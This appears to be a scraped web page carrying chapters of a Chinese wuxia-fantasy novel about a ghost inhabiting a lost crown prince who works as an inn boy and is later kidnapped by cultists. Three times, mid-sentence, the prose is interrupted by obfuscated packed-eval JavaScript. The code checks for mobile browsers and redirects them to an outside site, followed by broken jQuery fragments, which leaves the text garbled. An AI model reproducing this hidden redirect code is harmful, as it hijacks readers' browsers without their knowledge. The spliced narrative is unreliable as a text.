“汝本应立于九重宫阙之上,如今却龙困浅滩,遁迹草莽。” “你……”简流光一惊,瞪大了眼睛,“你怎么知道!” 他环顾四周,确认无人窥伺,这才声若蚊蚋地说道: “实不相瞒……我其实是大焉的皇、长、子。” 话说人间与鬼界的夹缝中,有只鬼名叫送怨君。 这送怨君不似寻常鬼,能自如游走人间,却在看热闹时被江湖骗子一把抓住,竟给塞进了大焉皇长子的躯壳。 送怨君当人时死得不明所以,没想到成了鬼,复活得同样稀里糊涂。 省却了轮回道这一遭,猝不及防拥有人形,但纵使他已经入主识海,皇长子却仍没有苏醒的迹象。 送怨君这片混沌中遨游了许久,久到那郁结的心绪都消散了,开始畅想皇长子生活: 我爹是皇帝,我娘是宠妃,大焉就我一根独苗,真真儿的一人之下万人之上,啧,还不赖! 当他终于能自如操控这具身体,灵台复明之时,眼前景象却如一盆冷水浇下—— 他躺在一床破絮被褥之中,抬眼是漏着天光的残破屋顶,遍结蛛网的房梁,四周墙皮斑驳掉渣,屋内连像样的家具都没有。 一问才知道,他不知何缘故被扔进了奚山脚下的溪流中,猪脚店的店主屠二娘路过救起,将他养了许久,这才熬来神智清明。 送怨君将事情串联,终于回过味来: 那江湖骗子口口声声说着能“牵魂”,实际却抓了他这只过路鬼来滥竽充数,又怕妖术被识破,编造借口拐走了皇长子,将他丢去自生自灭! 虽然被屠二娘救下,但这肥婆娘也不是好心白养着他,见他醒了便挟恩图报,硬叫堂堂皇长子在猪脚店做起了店小二。 他不过稚子年纪,又距帝城关山难越,当真呼天不应,求地无门,只好暂作隐忍,等长大后再寻回身份。 屈指算来,他在这猪脚店跑堂已整整两年有余。 皇嗣身份牵涉朝局,他不敢透露半分,假托失忆来掩人耳目,没想到却被这自称“仙人口目”的肌瘦汉子道破天机。 若换作旁人,一定觉得这是店小二的孩童妄语,君子方却一脸关切:“您竟然是那位失踪多年的皇长子殿下?失敬,失敬!” 他如此爽快,反而使简流光诧异了:“你真相信我说的话?” 君子方摇头:“我不是信你,我是信我自己的眼睛——我在你身上看到了帝城皇宫中的景象。” 简流光上下打量他一番,心道,难道他真是九重天的人? “这下你信我了吧!你还想知道什么?我全部都可以告诉你,比如,如何寻回你自己的身份。” 君子方弯腰靠近他,抬起手指扒拉着自己的下眼睑,露出圆溜溜的眸子:“以天眼之卦抵消饭钱,这生意你做还是不做,小老板?” 简流光一愣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536786|170908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猝然避开视线。 他忽然想起志怪书籍里记载的邪祟,大抵就是这样诱惑着书生或闺秀,让他们献出自己的精气元魂云云。 他确实信了这眼前人有些本事,但事出反常必有妖,他葫芦里卖的什么药? 总觉得抵消饭钱是假,另有所图是真。 简流光果断摇头,说:“我才不算这卦,人活一世,什么都知道了该多没意思。” 此言一出,君子方仰天大笑。 他的声音极大,极尖,让简流光毛骨悚然,觉得他下一秒就要化身厉鬼朝自己扑来。 这笑声甚至引起了猪脚店内人的注意。 李矛推开窗棂,探出头来:“喂!你什么人?” 君子方充耳不闻,眼睛直勾勾盯着简流光,竟一时叫人动弹不得。 “前几日我在梦中遇大泽仙,他命我来此地寻人,并以天眼窥之。”君子方顿了顿,“人知道的、看到的太多,确实会丧失平生趣味。” 他话中有话,像是在自嘲。 “但这不是你能拒绝的事,也不是我能拒绝的事。关乎大焉朝堂、江湖此后的十余年光景,君某人不能不看。” 李矛能瞧见这一幕,却听不见这人喃喃在说些什么,只能拍着桌子朝屋内大喊:“二娘,屠二娘!邢大爷!你们快来,这人眼睛发青光了!” 简流光被对方拧着下巴,挣脱不开,只能撕心裂肺地大叫起来:“掌柜的,救命啊啊啊!” 如果被钳制住的是送怨君,定要叫君子方吃不了兜着走,可简流光却只是手无缚鸡之力的凡人小孩,只能被强迫着同他对视。 君子方的右眼如常,但左眸闪过幽青一片,隐约能看见其中立着两个竖瞳——竟是那重瞳之人! 他目光炬炬,钉子般将简流光凿在原地。 君子方嘴里念念有词,眼睛眨都不眨一下,忽得观到了什么,脸色骤变一瞬。 此时猪脚店的众人拿着家伙出了门,屠二娘手中两把菜刀嗖嗖挥舞着,朝简流光的方向大喊:“这拐子好大胆,敢拐我屠二娘店里的跑堂,要命不要!” 君子方松开了简流光,重瞳消失不见,又恢复了方才嬉皮笑脸的模样。 他转头朝屠二娘作揖:“误会,误会,我乃九重天阁主君子方,云游至此地,瞧着这孩子有缘,想予他几卦而已。” 简流光吓得瘫坐在地上,慌忙确认自己的胳膊腿儿是否健在。 雷声大雨点小,刚才那阵仗,害他以为今日要命葬于此! 君子方看着简流光,大声夸赞道:“你这孩子命硬啊,人生大小坎儿都能过!命硬也容易克死人,不过倒颇合适学武,杀敌于无形!哈哈!” 众人忍不住交头接耳,拿不准这人是不是传说中的“仙人口目”。 “铜镜映鬼面,鲛绡替人皮……” 君子方自顾自说了起来,不过这声音却忽然变得极小,只有距他最近的简流光能听到。 简流光不明所以:“什么?” “方才在你身上所观得的景象。”君子方想了想,忽然又大笑起来,“地维再结,四极复合,然人不是人,鬼不是鬼,仙不是仙,妖不是妖……逍遥、逍遥!” 然而还没等简流光再问,君子方脸色刹得一白,眼中顷刻流出汩汩鲜血,随即径直倒了下去! 自此,奚山脚下的猪脚店出名了。 大家都在说,店里跑堂的小二命太硬,克死了九重天阁主君子方。 9. 仙人之死(三) 屠二娘不怕别人死在店里,她这店开在江湖之上,奚山之下,见过的死人不比死猪少。 但这人略有不同——自称是九重天阁主,却给简流光算了一卦后当场暴毙,实在离奇。 屠二娘摩拳擦掌,颇想在店门口扯条横幅: 本店小二克死仙人口目,原因竟是他每日狂食猪脚云云。诸位大侠若想打遍天下无敌手,务必来店内品尝啊! 就差把简流光也挂在门头,当活字招牌了。 众人不像这掉进钱眼儿里的屠二娘,虽听见了此人自称君子方,但鉴于他与想象中仙气飘飘、饮露餐风之辈两模两样,便只当他是冒充的。 李矛大叫:“可我看见他眼睛里有两个瞳孔!” 可惜只有他一个目击者,这人又擅长耍嘴皮子,不能作数。 邢大爷一呼百应,带着若干人等借来了牛车,彼时君子方的尸体都快凉透了,因此一行人的目的地从城中医馆变更为云外坡,打算就地埋了。 不过在“运尸”途中,又发生了一件怪事—— 行至村口时,这具鼻息全无、尸斑绕颈的尸体忽然扑腾了一下,紧接着从牛车上跳下来,一溜烟钻进树林里,行动矫健,顷刻就不见踪影。 邢大爷等一干壮汉找遍了山野,未果,一时间众说纷纭。 见状,李矛连夜将这件事编纂成评书,隐去个中具体情况,又添加了些许众人喜闻乐见的鬼神之说,一段跌宕起伏、浩气回肠的“店小二克死仙人口目,侠客行诛邪祟震八荒”跃然纸上。 虽然与真实情况毫不搭界,奈何李矛这三寸不烂之舌功力了得,就这么咿咿呀呀讲着,竟一传十、十传百,一度盖过了众人对折竹会的讨论。 食客们听得津津有味,屠二娘赚得盆满钵满,唯有这鬼故事的主角简流光忧心忡忡。 他近几天常做噩梦,大抵是听多了牛鬼蛇神的传言,于是它们纷纷入梦来叨扰,纠缠至日上三竿才肯罢休。 故每次被屠二娘赶出来上义塾时,他的意识迷离得不行。 靖帝近年来主张兴学,免去了幼童读书开蒙的费用。屠二娘听说隔壁镇前年出了个榜眼,现在每月都给他老娘寄三两银子,还在九霄城中心地带置办了宅院,可被馋坏了。 让简流光全天候在店里打杂,一辈子也就省下那么几两开销,但简流光要是读书读出来了,她屠二娘当上状元娘,往后不有的是好日子过? 再不济,识个字算个数,长大了在店里当个账房先生也好呀! 读书真乃一本万利的买卖。 简流光每日忙完店中的活儿,都要走一个时辰的山路,去下游村子里上学。 今日临行前,屠二娘嘱咐他:“这几日拐子愈发猖狂了,各村儿都在丢孩子,你放了学就快点回家,听见没有?我瞧上次那个冒充仙人口目的,八成也是拐子,邢大爷还是捕快呢,竟还是叫他溜了,呸,没用!” 简流光走在去义塾的路上,头脑终于被风吹得清醒了些,但落座之后,听着刘夫子摇头晃脑讲大道理,顿时又恍惚起来。 “覆杯水于坳堂之上,则芥为之舟。这句是什么意思呢?讲的是倒一杯清水啊,在这院子的低处,形成一汪浅水,芥草作为船只……” 简流光晕乎乎的,小声呢喃:“一汪浅水……水浅王八多……” 梦中故事进行到“王八驮着刘夫子扶摇而上九万里”的时候下课了,只是梦里人浑然不知。 他后座的小胖子见刘夫子走远了,立刻嘶叫起来:“简流光,简流光!” 见简流光不理自己,便一巴掌打上后背,痛得人“哎呦”一声,意识清醒了大半。 简流光幽怨地扭头,看到一张比王八还宽的胖脸。 这小胖子叫孙旺,村里大地主的三代单传乖乖宗孙,打出生起就摆上了土皇帝的谱儿,娇惯得一日比一日肥圆,狗见了他都得绕道走——嫌挤! 这货跟心宽体肥不搭边,不是欺负这个,就是欺负那个,今天不知道怎么的,又盯上了简流光。 孙旺的小弟们见他开始挑事了,也乌泱泱围过来造势。 只见孙旺清了清嗓子,甩着一脸横肉发言道:“简流光,听说你克死人了?” 几个小弟立刻续上辱骂: “克死了仙人口目?真真儿是个灾星!” “嘻嘻,有娘生没娘养,原来是胎里就带着晦气呢!” “你怎么还有脸来上学?我呸!” 简流光做过人、做过鬼、又成了人,零零总总的年纪加起来,自诩是这群小崽子爹爹辈的人物。 和这帮小辈一般见识实在掉价,他打着哈欠掏了掏耳朵,便打算继续睡去。 孙旺却被他这无视的态度激怒了,猛然将桌上的纸笔扫落,怒吼道:“老子跟你说话呢,扫把星!” 私塾中还有零星几个女孩,见到这幕害怕地“哇”起来,谁料这叫声却给孙旺添了一把火,势要一展“雄风”,站起身将简流光的书桌掀翻在地。 简流光静静看着眼前这幕,开始考虑坐在椅子上假寐的可能性。 见他不理会,孙旺面子挂不住,正甩开了膀子要打过去,却见女孩中率先有人站了出来,两手一掐腰,挡在了简流光面前。 这长着圆圆脸的女孩头一扬,指着孙旺鼻子大骂:“死胖子,你敢打人,我就把你手折断!” 简流光认识她,这是他们义塾有名的“小侠女”盛凌花。 他这是被美救英雄了。 孙旺哪受得了这委屈,气得肉抖了三抖:“盛凌花,我给你脸了是不是!不该管的事别管!别以为你爹是捕快,我就不敢揍你……” 旁边的孩子为那女孩帮腔:“今年凌花要进奚山派学武了,等学成归来,打得你满地找牙!” 孙旺和他的小跟班们对视一眼,捂着肚子大笑起来:“呦,盛凌花要去学武啊?看来第二个江行月马上就要横空出世了!” “你……!” “妖女江行月,妖女盛凌花……嘶,这名头跟着你也挺合适的!” 妖女江行月? 闻言,简流光眉头一皱。 依稀记着椿儿的话,她说江行月师承万逸门,武功卓绝,才貌双全,更有天下第二美人之称。 怎么几年过去,变成妖女了? 盛凌花听完这话气得不行,伸手就要揍孙旺,不料孙旺凭着一身蛮劲,轻而易举地捏住了她的拳头。 见他真要对盛凌花动手,简流光急忙喊道:“等等!” 孙旺不怀好意地讽笑起来,脸上的肉将眼睛挤成一条缝:“呦,扫把星还想逞英雄?能耐大了啊你! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536787|170908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 简流光摆手:“不是这个意思,只是……” “只是什么?说!” “只是我忽然想起来,”简流光慢条斯理地说,“仙人口目在死前传授给我了一套仙家秘法。” “仙家秘法?”孙旺登时两眼放光。 简流光见他感兴趣,立刻捶胸顿足,连连哀叹:“是啊,可我实在愚钝,不能参透其中奥妙,便想赠予他人。今日我在满堂同窗中观察一番,觉着孙兄中气最足,臂膀最孔武有力,没准能修成这绝世武功!” 闻言,孙旺立马放开了盛凌花,转身朝简流光奔来,一把搂住他的脖颈:“算你小子有眼力,还不快传授给我!” “哎,这里人多眼杂的,”简流光提议,“不如我们去学堂后的树林里练此神功。” “成!”孙旺回头瞪了盛凌花一眼,“兄弟们走,可别让这妖女偷听到了!” 简流光舒一口气,末了却看见盛凌花愤愤地朝他喊:“简流光你真讨厌,凭什么教他不教我们!我再也不理你了!” 哎,小孩子就是小孩子。 真是狗咬吕洞宾,不识好人心。 一群人裹挟着简流光,浩浩荡荡出了义塾。 半个时辰后…… “简流光,这功还没练完吗?” “我快撑不住了!” 树林里,孙旺和小跟班们排成一列做箭步蹲跳,蹦蹦哒哒,活像开水里烫了一溜咕嘎咕嘎的赖皮青蛙。 简流光站在小山坡上,背着手指点道:“仙人说了,这是最最最关键的一步,练熟了,此功才算大成。” 其中最难熬的要数孙旺了。他每跳一次,周遭都有种地动山摇之感,汗水顺着脸颊往下落,势要流出一片大泽来。 旁边的人苦不堪言,蹲跳的同时还要捂住口鼻,以防“瀑布飞溅”。 然而简流光吹捧道:“当属孙兄的动作最标准,孙兄成为一代大侠真是指日可待!” 孙旺闻言,跳得更起劲了。 有人喊道:“还要坚持多久啊!” 简流光说:“练武不能心急的,仙人说了,跳到……傍晚时分是最好的。” “傍晚?!” “要练这么久?” 众人哀声载道,听取蛙声一片。 简流光迅速编好说辞:“月亮升起时,天地之精华荟萃于月光中,对武功大有裨益……你们一定要坚持住哇!” 累死你们! 累死你们就没工夫欺负人了! 简流光又问:“孙兄,你现在感觉到脚底板发烫了吗?” 孙旺上气不接下气:“烫……烫……” “烫就对了!说明你的内力正在燃烧,筋络全通了!”简流光又忽然悲哀起来,“哎,可惜我资质差,无法同大家一起修炼……” “你干嘛去?” “我?我要回家看店了,你们接着练吧,”他摇着头往远处走,长吁短叹,“哎,可真是太羡慕你们了……” 简流光逃之夭夭。 被梦魇缠身的滋味已消散一空,下午又趁机教训了这几个不学无术的小恶霸,如今走在回家路上,只觉得浑身舒爽,处处鸟语花香。 然而,还没出村子,他的后脑勺突然一痛。 随即天旋地转,倒了下去。 10. 请君入瓮(一) 简流光心虚,被打后的第一反应是:他被孙旺和他的小弟们趁机偷袭了。 但孙旺三百斤的身子配着二百五的脑子,怎么可能突然开了窍,这么快就反应过来? 若不是孙旺,看来是遇见屠二娘所提到的拐子了。 当鬼时被人抓,当人后,还是被人抓。简流光想,我这倒霉程度,已经不能用“流年不利”来概括了。 意识苏醒,眼皮掀开,他见四下具是浓稠的黑,一股松木的味道随后钻入鼻腔。 他抬手试探,胳膊却伸不直,立刻意识到自己正以仰尸之姿,被封在一具棺材中。 身下传来颠簸感,外头脚步声杂乱,似乎是有人在抬棺而行。 棺材晃动久了,缝隙处渗进一丝微光,似乎并不是被完全钉死的状态。 见状,简流光四肢并用,卯足了劲儿去蹬那棺材盖,可惜并未成功。 他不由得想起了厌胜——这孩子比如今的自己还小上几岁,哪来的力气开棺的? 这时棺外传来男人的声音:“阿桃,棺材在动,这小子好像是醒了。” “醒了就好,醒了就好。”又一女声响起,并埋怨说,“你这下手没个轻重的,他若真咽了气,咱们白干一场!” 男人小心问:“阿桃别生气……话说,他既然还活着,咱们是不是不用急着去埋了?” 简流光一愣,立刻反应过来:原来他们这么着急赶路,是要趁着自己还剩口气,抓紧活埋了! 不活还不行! 可做拐子的,谁不求个“利”字? 拐了娃娃去,自然是要寻个富贵人家卖个好价钱,哪会轻易害了性命! 看来这两人并非是那抓人卖钱的拐子,而是另有所图。 然而还没等他思考出个所以然,却听豆大的水滴落在棺材盖上,发出沉闷的笃笃声。 外面似乎淅沥沥下起了雨。 “该死的……这雨早不下晚不下,偏在这临门一脚的当头下!” “我记得这附近有间文星庙,暂且去避避吧。” 这一男一女咒骂着掉转方向,加快速度在雨中奔袭。 简流光心道:这身体真不愧是天潢贵胄,眼见着都进了棺材,话赶话的功夫就要被埋了,竟还能有转圜的余地。 看来倒霉的是他送怨君,不是人家皇长子殿下。 棺木随着他们的步伐歪斜摇晃,简流光被甩得左碰右撞,后脑勺撞上周遭木板,眼前登时金星乱迸。 不知过了多久,雨打棺材的声音终于不可闻,转而响起火烧木柴的噼啪声,看样子是到了庙中。 有这大雨挡路,自己一时半会儿估计不会入土,简流光连忙敲敲棺材,软着声音跟他们好商好量:“哥哥姐姐行行好,咱们无冤无仇的,就放我一条生路吧!” 谁料这对男女置若罔闻,围火烘衣,并自顾自聊起天来。 女人问:“玄明来信儿没?少主找回来了吗?” 男人答:“找回来了。张峨指望不上,还得是玄明出马才成。” “这回又跑哪儿去了?” “邬坡,那老远!”男人嘿嘿一笑,“咱少主可真能跑,长大了定是个飞将军。” 话中所提到的人名,简流光一个都没听说过,但是“少主”这称呼可不多见——不是龙子凤孙,便是魔教妖人。 巧了,江湖中第一大歪门邪道当属黄泉窟,还是送怨君亲眼瞧着开宗立派的。 简流光忙问:“你们难道是黄泉客?” 棺外刹那间寂静了。 不是吧?他还真猜对了。 见这二人不回答,简流光急忙攀扯起来:“说来也巧,我正好认识几个黄泉客,不如二位大侠放我出来叙叙旧?说不定细论起来,咱们还是自家人呢!” 那女人想来也是无聊,竟还真搭理他了:“哦?认识哪个?说来听听。” 简流光绞尽脑汁回忆道:“我认识薛三爷,他身边跟着薛五和刘胖子,哦,还有个叫厌胜的小孩。他们以前老是在云外坡盗墓,我说的没错吧?” 女人闻言大笑不止:“阿夭你听见没?他认识的是张峨手下的那伙子夯货呢!” 男人也笑:“小崽子倒会攀亲戚!可惜你说的这伙子人尽数死在了赵停云剑下,现在算来,坟头草得三尺高了。” 黄泉窟由两伙子人合并而成,一伙是掘宝盗墓的黄泉客,一伙是权无心及他的追随者,看来这一男一女属于后者,男的似乎叫阿夭,女的叫阿桃。 马屁拍在了马腿上也没关系,这二人肯理自己就算成功。 简流光再接再厉:“哦,其实我和他们也没有很熟——整天做那些个鸡鸣狗盗的事儿,下作!要真论起来,还得是权无心大侠最厉害,我从小听他的故事长大的。” 这话似乎对他们很受用,竟然没有让他闭嘴。简流光把毕生所听到的,有关权无心的故事全盘托出:“想当年权无心大侠叛出奚山派,弃明投暗,真是要魄力有魄力,要勇气有勇气,真真儿的江湖百年来第一清醒之人!那些伪君子整天把‘正道’挂嘴边,哪及得上咱们黄泉窟主快意恩仇来得潇洒?” “呵,你虽然小小年纪,倒是个拎得清的。”阿夭说。 简流光立刻接上:“那是那是!大侠不瞒您说,我从小的梦想就是加入咱们黄泉……” 谁料他还没说完话,只听“吱呀”一声响,这破庙的门被推开了。 雨声闯进了屋,紧接着脚步声纷至沓来,不知道进来了多少人。 为首的人倒不客气,径直走到简流光所在的那口棺材跟前,拿手指敲了敲,并道:“开棺。” 这声音听着陌生,似乎是个二十岁出头的年轻男人。 不知为何,阿夭和阿桃未对这几个闯进来的人发难,但也谈不上配合,反诘道:“凭什么?” 听起来他们不是一伙的,这让简流光立刻嗅到了生机。 难不成是屠二娘报了官,衙门派人来解救自己了? 什么崇拜黄泉窟,我呸! 他立马翻脸不认人,扯着嗓子大叫起来:“是官老爷吗?大人救命哇!这两个黄泉窟魔头强掳良民,还要活埋了我!您可要剿灭贼寇,为民做主哇大人!” 年轻男人顿了顿,再次重申:“把棺材打开。” “什么时候浩渺阁也跟那些个江湖正派一样,管起闲事来了?”阿桃冷眼斜睨,指节叩着刀柄,发出泠泠的碰撞声。 年轻男人叹了口气,似乎不愿和他们动手,解释道:“不是浩渺阁要管闲事,而是你们抓错了人——你们抓他干什么?” “自然有我们的用途。”阿桃说。 阿夭倒老实,直接交代:“取童子十二人,生葬于倒悬之棺,可布九幽还阳大阵……啊!疼!” 他话还没说完,似乎是被阿桃扭了胳膊,发出悲嚎来。 简流光听后唯有沉默。 怎么凡人还在研究起死回生之术! 他情不自禁说道:“你们黄泉客还在想着复活沈昭呢?这都多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536788|170908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年了,好毅力啊!” 谁料阿夭却说:“复活沈昭做什么?我们要复活的是主人。” 要说谁是黄泉窟的主人,那自然是权无心了。 权无心那个大魔头死了? 简流光心想,你们江湖的形势可真是瞬息万变。前有正派美人沦落成人人喊打的妖女,后有黄泉窟头子命丧黄泉,就算哪天奚山派全员去参加科考,他都不会觉得奇怪了。 “第一,这法子没用。与其信这个,不如多攒点钱来我们浩渺阁买消息,我们货真价实,童叟无欺。”年轻男人说,“第二,浩渺仙子要这男孩儿,你们若真想试这蠢法子,抓别人去,这个留下。” 他话说完,也没等阿桃和阿夭回嘴,便吩咐人抬起了棺材盖。 简流光被关在这黑漆漆的四方盒子里许久,一时得见天日了,竟还有点不适应外头的光线,揉了半晌眼睛,终于得以看清庙里的情景。 堂上有两拨人相对而立。 文曲星泥塑下立着一男一女,身穿纱袍,手持长剑。女子长相艳丽,颊间点缀着几朵殷红的桃花,向上蔓延至发际。男的脸上有相同的纹路,面白脸尖,眼角斜飞,像公狐狸精幻化成人形。 世上没有哪个正经门派弟子会打扮成这样,想必这二人就是掳他来此的黄泉客了。 站在门口的有三四个人,穿着相同的青衣,下半张脸则覆着青铜面具,上面雕刻有蜻蜓似的长翅飞虫。 为首的年轻男人与他们的打扮略有不同,未戴面具,露出白得瘆人的一张脸,左颊上斜亘着一长道蜈蚣似的旧疤,从眼角贯穿至嘴角。 并非衙门官差。刚才他们自称是浩渺阁的人。 这名字有些耳熟,想来也是什么江湖门派,他跑堂时常听见有食客提及。 阿桃似乎还不死心:“假的?这可是酉阴行书里的法子。” 年轻男人笃定:“酉阴行书的残本就放在浩渺阁,里面没有这段内容。你看的书也是假的。” 阿夭拽了拽阿桃的袖子,小声说:“阿桃,他们可是青蚨子,消息错不了……” 见简流光吭哧吭哧从棺材里翻出来的狼狈模样,阿桃皱眉问:“既然是小浩渺要,我们让就让了,就当是卖浩渺阁一个人情……可要这崽子做什么?” 这也是简流光想知道的——他就一乡野食店的店小二,这群江湖人成群结队地抓他做甚! 年轻男人也不藏着掖着:“他是‘克死’君子方的那个孩子。” 原来是为这事儿。 简流光简直要欲哭无泪,有样学样地解释道:“第一,君子方不是我克死的,他碰瓷儿!第二,君子方没有死,他中途‘诈尸’逃走了,现在江湖上那些个骇人听闻的鬼故事,全是我家那说书先生编的,编的!” 没成想那年轻男人并不买账,直接吩咐手下:“把他绑了带走。” 原以为终于得救,没想到却是刚出虎穴,又入狼巢。 面具人应声而上,但还没等简流光反抗,又忽闻“吱呀”一声响,破庙的门再度被人推开。 这次来的是一个人。 男人身着白衫,手执酒坛,仰头将烈酒灌入喉咙,不醉不肯罢休。 他摇摇晃晃地跨进门槛,环顾一周,扫过诸人诧然的脸,不住大笑起来:“呦,真热闹!黄泉窟、浩渺阁……这是给我师父祝寿来了?” 众人神态各异,似乎都认识进门的这人,只留简流光自己一头雾水。 只听阿桃一声怒吼:“赵停云!” 11. 请君入瓮(二) 这地方有些眼熟,简流光打量了半天,终于认出这是云外坡后面那座庙,他做鬼时经常来逛。 因挨着坟地,这庙早就无人供奉了,没想到今日竟上演了出“庙小妖风大,池浅王八多”。 刚进来的这位是何许人也? 独步江湖、傲视群伦、独占《大焉风云录》榜首十年的天下第一侠客,赵停云! 若不是阿桃吼了那一声,众人还真没认出来。 只见眼前人已然喝得酩酊大醉,走起路来跌跌撞撞,野狗似的将满身水渍甩出去,惹得众人纷纷后退一步。 他将湿透的头发随手向后捋,露出脸来,青胡茬不知多久没收拾,覆满了整个下巴。 不过就算状态萎靡,依旧能看出他鼻梁高挺,眸子清亮,脸庞轮廓如刀劈斧削般凌厉,棱角坚毅分明,自有一股凛然之气。 他醉醺醺地穿堂而过,走到文曲星那破败的泥塑前,从袖中掏出酒壶和几个玉杯,在破香台上依次排开。 斟满其中一盏后,他举杯呢喃:“师父,这是你最爱喝的秋月沉,三十年的陈酿。为了给您祝寿,我特地跑去三堇谷里偷出来的,厉害吧?” “当年您偷了好几次都没成功,徒儿今朝一下便偷出来了,气得姜老头子哇哇大叫,哈哈哈!只是师父您没有口福,不肖徒儿只能自己独饮这美酒了。” 赵停云将酒下肚后,斟满第二杯:“算了,还是让您尝一口吧。” 言罢,他将新酒举起,对着上天敬了三敬,随后洒泼到地上。 “你尝也尝了,等徒儿身登极乐后,就别追着我打了,多丢面儿啊。” 满堂的人皆注视着这个自说自话的天下第一大侠,一时不知该如何是好,场面静得似能听见银针掉落。 赵停云这般悠然自若,视旁人如无物,倒显得他们才是闯入者。 简流光做鬼时就听说过赵停云的不少辉煌事迹,什么十八岁练得天下第一剑、二十岁离登仙境只差临门一脚,当然,使他最印象深刻的,当属他在云梦洲剿灭黄泉客一行人的事。 脑袋里虽回忆起的这些神乎其神的故事,却实在无法与眼前这人对上号。 他无非就是比猪脚店里那些乡野食客挺拔了些、俊逸了些,然刚才那乱说一通醉话的模样,与不胜酒力的邢大爷根本没什么差别。 不行,不能这么想。 人家可是天下第一行侠仗义之豪杰,是能救自己命的人! 就算喝醉了酒,想必他也不会熟视无睹。 简流光摈弃偏见,迫切呼救道:“赵停云大侠,救我!” 赵停云听见有人叫自己的名字,想是终于想起此处还有旁人,慢悠悠回过了头。 他的目光扫过浩渺阁人以及黄泉客,最后定格在简流光脸上。 原以为他是意识到了这儿正上演着一出劫案,谁料他问的却是:“哦……你们不是来祭奠我师父的?” 阿桃闻言,恶狠狠翻了个白眼:“这里是文曲星庙,不是你师父坟头!” “师娘管的严,师父平日里都来这文星庙偷偷喝酒,这里与他的第二个家无异。”赵停云叫冤,并看向门口那群人,“浩渺阁的青蚨子们消息灵通,应该知道这事儿吧?” 那脸上带长疤的年轻男子点头:“万逸门掌门生前的确会在这里独酌。” 赵停云又问:“你们既不是来祭奠我师父的,那聚在这儿做什么?” 年轻男子道:“不是什么大事,浩渺阁在做交易罢了,还请赵大侠不要插手干涉。” 这话说得忒冠冕唐皇,简流光立刻打断道:“我呸,我是奚山脚下屠二娘猪脚店的跑堂,被这群人打晕了,拐至此处的!黄泉窟这对狗男女要活埋我,浩渺阁这群人要绑架我!大侠救我,救我啊大侠!” 赵停云有一搭没一搭地听着,眼皮半抬,目光落在那结着蛛网的房梁上,醉酒的思绪跟着摇摇欲坠的丝线而去,不住晃荡。 简流光说得口干舌燥,却迟迟不见他答话,忍不住问:“大侠,我说的你可都听明白没?” 赵停云惊醒似的回过神来:“听明白了。” 既然听明白了,还不将这群恶人打趴下? 简流光当然不会这么直白地说。 他用尽毕生力气,挤出一副可怜兮兮模样:“还请大侠救我一命,日后我定千百倍偿还恩情!” 没想到赵停云回复的却是:“哦,稍等。” ……什么叫稍等! 简流光顿时生无可恋,觉得把希望寄托醉鬼身上的自己,才是愚不可及。 只见赵停云又转过身去,复执起酒壶:“还有最后一点儿了……” 他反手一扣,将壶底残沥的酒液倾注,最后几滴颤巍巍落下,堪堪够盛满一盏。 他擎起玉杯对天,说:“剩这最后一杯,留给师妹。” 明明有一肚子话可唠叨,这会儿却嗓子嘶哑,舌尖刺痛,半个字也说不出来了。 沉默半晌,他将这杯酒一饮而尽。 末了来了句:“行月,你不许我以酒祭你,是还活着对么?” “活着?她这妖女也配活着!” 阿桃像是听到了什么天大的笑话,嘴角扯出一抹森然冷笑,眼底阴鸷尽显,如毒蛇吐信。 谁料这句话一脱口,倏然为赵停云醒了酒。 方才的迷醉之态消散,周身气势陡然一变,他偏头瞥去,刀锋般的冷冽目光刺向阿桃:“我当是谁,原来是黄泉窟不知天高地厚的孤魂野鬼。” “孤魂野鬼?我俩肉身尚在呢,你师父、师兄弟们才担得起这个称呼吧。”阿桃掩面而笑,“不对,不对!他们都死了,只有你一人在世上苟且偷生,你才是孤魂野鬼,行尸走肉!” “阿桃别笑了,你看他多不禁逗,说没两句,脸色这样难堪。”阿夭拽了拽她,话听着是劝和,字字句句却在往火里泼油。 对面二人笑作一团,有意激怒,赵停云却平静异常,只淡淡说:“报上名字来。” “黄泉窟,桃靥鬼。” 赵停云再次看向简流光:“就是这二人要活埋你?” “是,是!他们欲取童子十二人,活埋布阵,打算复活那大魔头权无……” 简流光话还没说完,赵停云就径直朝那二人砍了过去。 阿桃跳开,这才发现他手中拿着的并非刀刃,而是地上随手捡的一截枯木残枝。 她怒道:“赵停云,你忒瞧不起人!你那名震四方的云剑呢?拔出来让我们开开眼呀!” “对付你们两个,用不着拔剑。” 话毕,赵停云指尖抚过枝干,熔金般的灵力流转缠绕上去,须臾间凝成一柄光剑的模样,刃上浮动着八卦虚影。 那倾颓的泥塑本是半边慈眉善目,半边露出混着稻草的泥胚,却顷刻间被这光芒重塑了金漆,恍若仙人再临凡尘。 赵停云持枝立于神像前,衣袍无风自动,翻飞如鹤。 